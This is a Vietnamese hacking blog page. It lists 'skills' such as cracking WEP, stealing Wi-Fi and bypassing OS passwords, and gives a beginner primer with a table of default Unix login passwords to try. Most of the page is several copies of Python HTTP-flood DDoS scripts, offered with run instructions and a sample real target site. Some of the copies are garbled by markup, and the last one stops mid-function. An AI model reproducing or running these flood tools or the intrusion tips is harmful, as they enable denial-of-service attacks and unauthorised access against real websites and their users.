Các bài viết của "Hacking"
Showing posts with label Hacking. Show all posts
Một danh sách kỹ năng những chuyên gia công nghệ thực thụ nên biết. Muốn là chuyên gia công nghệ giỏi, bạn cần có khả năng vận dụng các nguồn lực để hoàn thành những việc làm dưới đây. Tất nhiên, không phải ai cũng có tất cả những kỹ năng này nhưng phải biết tìm kiếm thông tin để thực hiện được. 
1. Bảo mật ngon lành định tuyến không dây. 

2. Phá khóa mã bảo mật WEP trên định tuyến không dây. 

3. Ăn cắp Wi-Fi nhà kế bên. 

4. Chặn ăn cắp Wi-Fi. 

5. Thiết lập và sử dụng mạng riêng ảo. 

6. Làm việc ở nhà hoặc quán cà phê hiệu quả như làm ở cơ quan. 

7. Tự nối mạng gia đình bằng cáp Ethernet. 

8. Dùng webcam làm máy camera an ninh. 

9. Dùng điện thoại 3G làm thiết bị truy cập Wi-Fi (Wi-Fi access point). 

10. Hiểu cụm từ “There’s no Place Like 127.0.0.1” nghĩa là gì. 

11. Phát hiện được chương trình theo dõi bàn phím (key-logger). 

12. Kết nối ngon lành TV, Tivo, Xbox, Wii và Apple TV làm việc cùng nhau. 

13. Cài và cấu hình máy tính ảo. 

14. Đổi pin trên iPod và iPhone. 

15. Đánh giá tính năng và hiệu năng (benchmark) của máy tính. 

16. Biết được tính năng của tất cả cấu phần nhìn thấy được của máy tính. 

17. Biết mua các linh kiện và lắp ráp thành máy tính hoàn chỉnh. 

18. Tư vấn xử lý được các vấn đề thiết bị số và máy tính qua điện thoại. 

19. Sử dụng được các công nghệ không cần hướng dẫn hay đọc tài liệu sử dụng trước. 

20. Biết cách xóa dữ liệu không thể phục hồi. 

21. Phục hồi dữ liệu từ ổ cứng chết. 

22. Chia sẻ máy in giữa máy tính Mac và máy tính dùng hệ điều hành Windows trên mạng. 

23. Cài đặt một bản phân phối Linux, ví dụ như Ubuntu. 

24. Diệt virus máy tính. 

25. Cài hai (hoặc hơn) hệ điều hành trên một máy tính. 

26. Khởi động được máy tính từ ổ USB. 

27. Khởi động được máy tính từ ổ cứng truy cập qua mạng LAN. 

28. Thay hoặc sửa bàn phím laptop. 

29. Sử dụng hai (hoặc hơn) màn hình trên một máy tính. 

30. Tháo và ráp lại thành công laptop. 

31. Biết sử dụng ít nhất 10 phần mềm thông dụng. 

32. Vượt qua mật khẩu máy tính trên các hệ điều hành phổ biến, gồm Windows, Mac và Linux. 

33. Vượt qua các chương trình lọc nội dung trên máy tính công cộng. 

34. Bảo vệ dữ liệu cá nhân khi sử dụng máy tính công cộng. 

35. Lướt web ẩn danh ở nhà. 

36. Mua tên miền, cấu hình BIND, Apache, MySQL, PHP và Wordpress không cần lên Google tìm hướng dẫn. 

37. Chuyển mã đĩa DVD để chạy trên thiết bị di động. 

38. Dấu được tệp trong hình ảnh sử dụng kỹ thuật steganography (dấu file trong một file lớn hơn). 

39. Biết tìm câu trả lời cho mọi thứ bằng kỹ năng tìm kiếm. 

40. Chia sẻ chuột và bàn phím giữa nhiều máy tính không cần KVM switch (thiết bị cho phép kiểm soát nhiều máy tính một chuột và bàn phím). 

41. Sử dụng được máy ảnh số ống kính rời trong chế độ hoàn toàn tự chỉnh. 

42. Hiểu được các thành phần điện tử cơ bản như điện trở, bóng bán dẫn, cái tụ điện, cảm điện. 

43. Biết cách xử lý khi máy tính bị kiểm soát bởi hacker. 

44. Tìm thông tin trên các dịch vụ chia sẻ nội dung như Digg. 

45. Biết chạy các ứng dụng quan trọng trên một ổ USB. 

46. Biết xem tivi trên Internet. 

47. Biết dấu những dữ liệu nhạy cảm trong máy tính. 

48. Sử dụng Photoshop hoặc GIMP để chỉnh sửa ảnh. 

49. Lập trình được một chương trình điều khiển từ xa. 

50. Hiểu các lệnh trong DOS.


Nhiều bạn Newbie có hỏi tôi “Hack là như thế nào? Làm sao để hack?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát, hiểu các thuật ngữ mà những người rành về mạng hay sử dụng. Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu, tôi cũng đã tổng hợp được một số kiến thức cơ bản, muốn chia sẻ cho tất cả các bạn, nhằm cùng các bạn học hỏi .
Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác. Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài, tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi, đồng thời cũng tôn trọng chính bản thân các bạn. Trong này tôi cũng có chèn thêm một số cách hack, crack và ví dụ căn bản, các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm, rồi khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA và các trang Web khác mà tôi đã từng ghé thăm. Xin cảm ơn những tác giả đã viết những bài ấy. Bây giờ là vấn đề chính . 

1. Ta cần những gì để bắt đầu

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng hệ điều hành Window rồi đến các cái khác mạnh hơn đó là Linux hoặc Unix, dưới đây là những cái bạn cần có :
  • Một OS 
  • Một trang Web tốt 
  • Một bộ trình duyệt mạng tốt 
  • Một công cụ chat tốt 
  • Telnet
  • Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình (C , C++ , Visual Basic , Pert …..

2. Thế nào là một địa chỉ IP?

Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte, vì thế IP có kích thước là 4 byte, được chia thành các lớp địa chỉ.
Có 3 lớp là A, B và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có65536 địa chỉ. Ví dụ: Ở lớp B với 132.25, chúng ta có tất cả các địa chỉ từ132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức.
Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai.
IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗi người là duy nhất và nó sẽ đại diện cho chính người đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm và là cách người ta tìm ra IP của bạn. 
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
  • Khi bạn lướt qua một trang web, IP của bạn bị ghi lại 
  • Trên IRC, bất kì ai cũng có thể có IP của bạn 
  • Trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn Do not show ip,người ta vẫn lấy được nó 
  • Nếu bạn kết nối với một ai đó, họ có thế gõ systat –n và biết được ai đang kết nối đên họ 
  • Nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn 

3. Làm thế nào để biết địa chỉ IP của mình?

  • Trong Windows : vào cmd, gõ ipconfig 
  • Trong mIRC: kết nốI đến máy chủ sau đó đánh lệnh /dns 
  • Thông qua một số trang Web có hiển thị IP .

4. IP Spoofing là gì?

Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần giấu thông tin cá nhân.

5. Trojan, worm, virus, logicbomb là gì

  • Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của người khác để ăn cắp nhũng tài liệu trên máy đó gửi về cho chủ nhân của nó. Cái mà nó ăn cắp có thể là mật khẩu, accourt hay cookie ... tuỳ theo ý muốn của người cài nó . 
  • Virus : Nói cho dễ hiểu thì đây là chương trình với những mã đặc biệt được cài (hoặc lây lan từ máy khác) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó, đa số virus được sử dụng để phá hoại dữ liệu hoặc máy tính. 
  • Worm: Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virus, nó cũng có thể phá hoại dữ liệu hoặc nó có thể phá hoại bên trong mạng, thậm chí còn làm sập cả mạng đó. 
  • Logicbomb: Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ, làm ngập lụt hệ thống, tắc nghẽn đường truyền (trên server) hoặc dùng làm công cụ để “khủng bố” đối phương.

6. PGP là gì

PGP là viết tắt của từ “Pretty Good Privacy”, đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu, là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS, Unix, VAX/VMS và cho những dạng khác.

7. Proxy là gì?

Proxy, Server Proxy hay Proxy Server (cũng là 1), chúng ta có thể hiểu nôm na là 1 chiếc máy tính khác có nhiệm vụ xử lý dữ liệu, giống như 1 bộ chuyển đổi thông tin của tín hiệu Internet. Bằng việc kết nối qua 1 hoặc nhiều những chiếc server như trên, ban đầu máy tính của người dùng - bạn sẽ gửi đi những tín hiệu yêu cầu - request qua proxy server, tại đây những thông tin đó sẽ được xử lý và trả lại những gì bạn thấy mỗi khi truy cập vào Internet
Theo cách hiểu này, thì Proxy đóng vai trò trung gian giữa chiếc máy tính bạn đang sử dụng với toàn bộ môi trường Internet bên ngoài. Bên cạnh đó, Proxy còn được dùng để lọc, ngăn chặn các website, hoặc chính xác hơn là những nội dung website tùy theo nhu cầu của chính phú, các nhà cung cấp dịch vụ...

8. Unix là gì?

Unix là một hệ điều hành (giống Windows) .Nó hiện là hệ điều hành mạnh và thân thiết với các Hacker nhất. Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối với bạn. Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9. Telnet là gì?

Telnet là một chương trình cho phép ta kết nối đến máy khác thông qua cổng (port). Mọi máy tính hoặc máy chủ (server) đều có cổng, sau đây là một số cổng thông dụng :
  • Port 21: FTP 
  • Port 23: Telnet 
  • Port 25: SMTP (Mail) 
  • Port 37: Time 
  • Port 43: Whois 
Ví dụ : bạn có thể gọi Telnet để kết nốI đến mail.virgin.net trên port 25 . 

10. Làm thế nào để biết mình đã Telnet đến hệ thống Unix?

Đầu tiên, khi bạn gọi Unix, thông thường nó sẽ xuất hiện một dấu nhắc: “Log in:”, (tuy nhiên, chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tại dấu nhắc “log in”, bạn cần phảI nhập vào một account hợp lệ. Một account thông thường gồm có 8 đặc tính hoặc hơn, sau khi bạn nhập account vào, bạn sẽ thấy có một mật khẩu, bạn hãy thử nhập Default Password thử theo bảng sau : 
Account/Default Password
Root/ Root
Sys/Sys/System / Bin
Bin/Sys / Bin
Mountfsy/Mountfsys
NuucAnon
Anon/Anon
User/User
Games/Games
InstallInstall
DemoDemo
GuestGuest 
Code ddos die ver 8, save dưới dạng *.py chạy trên Koding nhé

#!/usr/bin/env python
#coding: utf-8
#..:: > DIE_v8 < ::.. Mod xrc team
import random
import socket
import threading
import time
import datetime
import urllib2
import urllib
import re
import sys
import optparse
import os
import urlparse
#Hulk Mod xrc team
url=''
host=''
headers_useragents=[]
headers_referers=[]
keyword_top=[]
request_counter=0
flag=0
safe=0
def inc_counter():
 global request_counter
 request_counter+=1
def set_flag(val):
 global flag
 flag=val

def set_safe():
 global safe
 safe=1
def getUserAgent():
    platform = random.choice(['Macintosh', 'Windows', 'X11'])
    if platform == 'Macintosh':
        os  = random.choice(['68K', 'PPC'])
    elif platform == 'Windows':
        os  = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
    elif platform == 'X11':
        os  = random.choice(['Linux i686', 'Linux x86_64'])
    browser = random.choice(['chrome', 'firefox', 'ie'])
    if browser == 'chrome':
        webkit = str(random.randint(500, 599))
        version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
        return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
    elif browser == 'firefox':
        currentYear = datetime.date.today().year
        year = str(random.randint(2000, currentYear))
        month = random.randint(1, 12)
        if month < 10:
            month = '0' + str(month)
        else:
            month = str(month)
        day = random.randint(1, 30)
        if day < 10:
            day = '0' + str(day)
        else:
            day = str(day)
        gecko = year + month + day
        version = str(random.randint(1, 21)) + '.0'
        return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
    elif browser == 'ie':
        version = str(random.randint(1, 10)) + '.0'
        engine = str(random.randint(1, 5)) + '.0'
        option = random.choice([True, False])
        if option == True:
            token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
        else:
            token = ''
        return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
def referer_list():
 global headers_referers
 headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
 headers_referers.append('http://www.google.com/?q=')
 headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
 headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
 headers_referers.append('http://www.google.com/translate?u=')
 headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
 headers_referers.append('http://help.baidu.com/searchResult?keywords=')
 headers_referers.append('http://www.bing.com/search?q=')
 headers_referers.append('https://add.my.yahoo.com/rss?url=')
 headers_referers.append('https://play.google.com/store/search?q=')
 return(headers_referers)
def keyword_list():
 global keyword_top
 keyword_top.append('Sex')
 keyword_top.append('Robin Williams')
 keyword_top.append('World Cup')
 keyword_top.append('Ca Si Le Roi')
 keyword_top.append('Ebola')
 keyword_top.append('Malaysia Airlines Flight 370')
 keyword_top.append('ALS Ice Bucket Challenge')
 keyword_top.append('Flappy Bird')
 keyword_top.append('Conchita Wurst')
 keyword_top.append('ISIS')
 keyword_top.append('Frozen')
 keyword_top.append('014 Sochi Winter Olympics')
 keyword_top.append('IPhone')
 keyword_top.append('Samsung Galaxy S5')
 keyword_top.append('Nexus 6')
 keyword_top.append('Moto G')
 keyword_top.append('Samsung Note 4')
 keyword_top.append('LG G3')
 keyword_top.append('Xbox One')
 keyword_top.append('Apple Watch')
 keyword_top.append('Nokia X')
 keyword_top.append('Ipad Air')
 keyword_top.append('Facebook')
 keyword_top.append('Anonymous')
 return(keyword_top)
def buildblock(size):
 out_str = ''
 for i in range(0, size):
  a = random.randint(65, 90)
  out_str += chr(a)
 return(out_str)
def httpcall(url):
 referer_list()
 code=0
 if url.count("?")>0:
  param_joiner = "&"
 else:
  param_joiner = "?"
 request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
 request.add_header('User-Agent', getUserAgent())
 request.add_header('Cache-Control', 'no-cache')
 request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
 request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
 request.add_header('Keep-Alive', random.randint(110,120))
 request.add_header('Connection', 'keep-alive')
 request.add_header('Host',host)
 index = random

Code python, chạy trên Koding hoặc Linux

import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
global request_counter
request_counter+=1

def set_flag(val):
global flag
flag=val


def set_safe():
global safe
safe=1

# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)

# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)

#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)

def usage():
print '---------------------------------------------------'
print 'USAGE: python m60.py '
print 'The m60 was one governamental ddos the distribuition of this is limited Created by : Hax Stroke'
print "\a"
print \
"""            _________
/'        /|
/         / |_
/         /  //|
/_________/  ////|
|   _ _    | 8o////|
| /'// )_  |   8///|
|/ // // ) |   8o///|
/ // // //,|  /  8//|
/ // // /// | /   8//|
/ // // ///__|/    8//|
/.(_)// /// |       8///|
(_)' `(_)//| |       8////|___________
(_) /_\ (_)'| |        8///////////////
(_) \"/ (_)'|_|         8/////////////
(_)._.(_) d' Hb         8oooooooopb'
`(_)'  d'  H`b
d'   `b`b
d'     H `b
d'      `b `b
d'           `b
d'             `b
"""
print '---------------------------------------------------'

#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'm60 Was Shotting All protection fo the server'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)

#http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2: class="" data-blogger-escaped-and="" data-blogger-escaped-code="=500)" data-blogger-escaped-counts="" data-blogger-escaped-def="" data-blogger-escaped-ex:="" data-blogger-escaped-except="" data-blogger-escaped-exception="" data-blogger-escaped-flag="=0:" data-blogger-escaped-http="" data-blogger-escaped-if="" data-blogger-escaped-monitors="" data-blogger-escaped-monitorthread="" data-blogger-escaped-pass="" data-blogger-escaped-previous="" data-blogger-escaped-request_counter="" data-blogger-escaped-requests="" data-blogger-escaped-run="" data-blogger-escaped-safe="=1):" data-blogger-escaped-self="" data-blogger-escaped-set_flag="" data-blogger-escaped-threading.thread="" data-blogger-escaped-threads="" data-blogger-escaped-while="">request_counter):
print "%d Shots sends Senting" % (request_counter)
previous=request_counter
if flag==2:
print "\n -M60 Hits are secced"

#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "Ak 47 attack was been sended This tool is created by : Russian Hackers"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()

t.start()

Code ddos python ver. httpdoser.py
Save file *.py rồi chạy trên koding nhé
Dùng lệnh: httpdoser.py http://vnn.vn

import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
	global request_counter
	request_counter+=1

def set_flag(val):
	global flag
	flag=val

def set_safe():
	global safe
	safe=1
	
# generates a user agent array
def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)

# generates a referer array
def referer_list():
	global headers_referers
	headers_referers.append('http://www.google.com/?q=')
	headers_referers.append('http://www.usatoday.com/search/results?q=')
	headers_referers.append('http://engadget.search.aol.com/search?q=')
	headers_referers.append('http://' + host + '/')
	return(headers_referers)
	
#builds random ascii string
def buildblock(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str += chr(a)
	return(out_str)

def usage():
	print '---------------------------------------------------'
	print 'USAGE: python httpdoser.py '
	print 'httpdoser website : KillerRoot'
	print "\a"
print \
"""
                   ...
                 ;::::;   Http_Doser Starting...
               ;::::; :;    By KillerRoot
             ;:::::'   :;
            ;:::::;     ;.
           ,:::::'       ;           OOO\
           ::::::;       ;          OOOOO\
           ;:::::;       ;         OOOOOOOO
          ,;::::::;     ;'         / OOOOOOO
        ;:::::::::`. ,,,;.        /  / DOOOOOO
      .';:::::::::::::::::;,     /  /     DOOOO
     ,::::::;::::::;;;;::::;,   /  /        DOOO
    ;`::::::`'::::::;;;::::: ,#/  /          DOOO
    :`:::::::`;::::::;;::: ;::#  /            DOOO
    ::`:::::::`;:::::::: ;::::# /              DOO
    `:`:::::::`;:::::: ;::::::#/               DOO
     :::`:::::::`;; ;:::::::::##                OO
     ::::`:::::::`;::::::::;:::#                OO
     `:::::`::::::::::::;'`:;::#                O
      `:::::`::::::::;' /  / `:#
       ::::::`:::::;'  /  /   `#
                                          
"""
print '---------------------------------------------------'

	
#http request
def httpcall(url):
	useragent_list()
	referer_list()
	code=0
	if url.count("?")>0:
		param_joiner="&"
	else:
		param_joiner="?"
	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
	request.add_header('User-Agent', random.choice(headers_useragents))
	request.add_header('Cache-Control', 'no-cache')
	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
	request.add_header('Keep-Alive', random.randint(110,120))
	request.add_header('Connection', 'keep-alive')
	request.add_header('Host',host)
	try:
			urllib2.urlopen(request)
	except urllib2.HTTPError, e:
			#print e.code
			set_flag(1)
 			print 'Flooding WebSite Port 80 with 65000-byte packets for 99999'
			code=500
	except urllib2.URLError, e:
			#print e.reason
			sys.exit()
	else:
			inc_counter()
			urllib2.urlopen(request)
	return(code)		

	
#http caller thread 
class HTTPThread(threading.Thread):
	def run(self):
		try:
			while flag<2:
				code=httpcall(url)
				if (code==500) & (safe==1):
					set_flag(2)
		except Exception, ex:
			pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
	def run(self):
		previous=request_counter
		while flag==0:
			if (previous+100request_counter):
				print "%d Shots sends Senting" % (request_counter)
				previous=request_counter
		if flag==2:
			print "\n -M60 Hits are secced"

#execute 
if len(sys.argv) < 2:
	usage()
	sys.exit()
else:
	if sys.argv[1]=="help":
		usage()
		sys.exit()
	else:
		print "Flooding WebSite Port 80 with 65000-byte packets for 99999 By Killer@Root"
		if len(sys.argv)== 3:
			if sys.argv[2]=="safe":
				set_safe()
		url = sys.argv[1]
		if url.count("/")==2:
			url = url + "/"
		m = re.search('http\://([^/]*)/?.*', url)
		host = m.group(1)
		for i in range(500):
			t = HTTPThread()
			t.start()
		t = MonitorThread()
		t.start()

Code ddos python của PinoyLulzSec
Save đuôi file *.py
# ----------------------------------------------------------------------------------------------
#DDos tools of PinoyLulzSec
#
#
#
# Pinoy LulzSec
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
global request_counter
request_counter+=1

def set_flag(val):
global flag
flag=val

def set_safe():
global safe
safe=1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)

# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
